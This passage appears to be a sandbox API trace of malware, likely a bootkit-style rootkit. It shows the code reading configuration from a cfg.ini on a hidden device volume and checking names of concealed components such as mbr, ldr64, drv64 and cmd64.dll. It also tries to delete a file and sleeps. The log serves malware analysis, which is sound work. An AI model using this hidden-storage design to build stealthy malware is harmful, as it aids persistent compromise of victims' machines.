(Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.831] ReleaseMutex (hMutex=0xf0) returned 1 [0117.831] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.831] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.831] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.831] KeEnterCriticalRegion () [0117.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.832] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.832] IdePortDispatch () returned 0x103 [0117.832] KeWaitForMutexObject () returned 0x0 [0117.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.832] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.832] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.832] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.832] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.832] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6990 [0117.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.832] KeLeaveCriticalRegion () [0117.832] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.832] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.832] KeEnterCriticalRegion () [0117.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.832] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.832] KeLeaveCriticalRegion () [0117.832] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.832] KeEnterCriticalRegion () [0117.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.833] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.833] IdePortDispatch () returned 0x103 [0117.833] KeWaitForMutexObject () returned 0x0 [0117.833] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.833] KeLeaveCriticalRegion () [0117.833] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.833] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.833] KeEnterCriticalRegion () [0117.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.833] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2d000 [0117.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.833] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.833] IdePortDispatch () returned 0x103 [0117.834] KeWaitForMutexObject () returned 0x0 [0117.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.834] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.834] IdePortDispatch () returned 0x103 [0117.834] KeWaitForMutexObject () returned 0x0 [0117.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.834] KeLeaveCriticalRegion () [0117.834] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.835] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.835] KeEnterCriticalRegion () [0117.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.835] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.835] KeLeaveCriticalRegion () [0117.835] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.835] KeEnterCriticalRegion () [0117.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.835] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.835] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.835] KeLeaveCriticalRegion () [0117.835] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.835] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.835] KeEnterCriticalRegion () [0117.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.835] ExFreePoolWithTag (P=0xfffffa8003aa6990, Tag=0x0) [0117.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.835] KeLeaveCriticalRegion () [0117.835] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.835] ReleaseMutex (hMutex=0xf0) returned 1 [0117.835] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.836] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.836] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.836] KeEnterCriticalRegion () [0117.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.836] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.836] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.836] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.836] IdePortDispatch () returned 0x103 [0117.836] KeWaitForMutexObject () returned 0x0 [0117.836] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.836] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.836] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.836] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.836] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.836] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daa90 [0117.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.836] KeLeaveCriticalRegion () [0117.836] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.836] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.836] KeEnterCriticalRegion () [0117.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.836] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.836] KeLeaveCriticalRegion () [0117.837] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.837] KeEnterCriticalRegion () [0117.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.837] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.837] IdePortDispatch () returned 0x103 [0117.837] KeWaitForMutexObject () returned 0x0 [0117.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.837] KeLeaveCriticalRegion () [0117.837] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.837] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.837] KeEnterCriticalRegion () [0117.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.837] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2e000 [0117.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.837] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.837] IdePortDispatch () returned 0x103 [0117.838] KeWaitForMutexObject () returned 0x0 [0117.838] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.838] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.838] IdePortDispatch () returned 0x103 [0117.838] KeWaitForMutexObject () returned 0x0 [0117.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.838] KeLeaveCriticalRegion () [0117.838] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.839] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.839] KeEnterCriticalRegion () [0117.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.839] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.839] KeLeaveCriticalRegion () [0117.839] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.839] KeEnterCriticalRegion () [0117.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.839] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.839] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.839] KeLeaveCriticalRegion () [0117.839] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.839] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.839] KeEnterCriticalRegion () [0117.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.839] ExFreePoolWithTag (P=0xfffffa80039daa90, Tag=0x0) [0117.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.839] KeLeaveCriticalRegion () [0117.839] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.839] ReleaseMutex (hMutex=0xf0) returned 1 [0117.839] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.839] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.839] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.840] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.840] KeEnterCriticalRegion () [0117.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.840] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.840] IdePortDispatch () returned 0x103 [0117.840] KeWaitForMutexObject () returned 0x0 [0117.842] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.842] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.842] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.842] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.842] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.842] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.842] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.842] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.842] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.842] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.842] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.842] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.842] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.842] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.842] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.842] KeLeaveCriticalRegion () [0117.842] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.842] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.842] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.842] KeEnterCriticalRegion () [0117.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.842] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.842] IdePortDispatch () returned 0x103 [0117.843] KeWaitForMutexObject () returned 0x0 [0117.843] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.843] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.843] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.843] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.843] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.843] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.843] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.843] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.843] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.843] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.843] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.843] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.843] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.843] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.843] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.843] KeLeaveCriticalRegion () [0117.843] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.843] ReleaseMutex (hMutex=0x100) returned 1 [0117.843] Sleep (dwMilliseconds=0x2bf20) [0117.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6971cbf0, dwHighDateTime=0x1d24fa4)) [0117.852] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.852] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.852] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.852] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.852] KeEnterCriticalRegion () [0117.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.852] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.852] IdePortDispatch () returned 0x103 [0117.852] KeWaitForMutexObject () returned 0x0 [0117.852] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.852] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.852] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.852] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.852] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.852] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6600 [0117.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.852] KeLeaveCriticalRegion () [0117.852] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.853] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.853] KeEnterCriticalRegion () [0117.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.853] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0117.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.853] KeLeaveCriticalRegion () [0117.853] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.853] KeEnterCriticalRegion () [0117.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.853] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.853] IdePortDispatch () returned 0x103 [0117.853] KeWaitForMutexObject () returned 0x0 [0117.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.853] KeLeaveCriticalRegion () [0117.853] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.853] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.853] KeEnterCriticalRegion () [0117.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.853] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d51000 [0117.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa80039d6bf0 [0117.853] 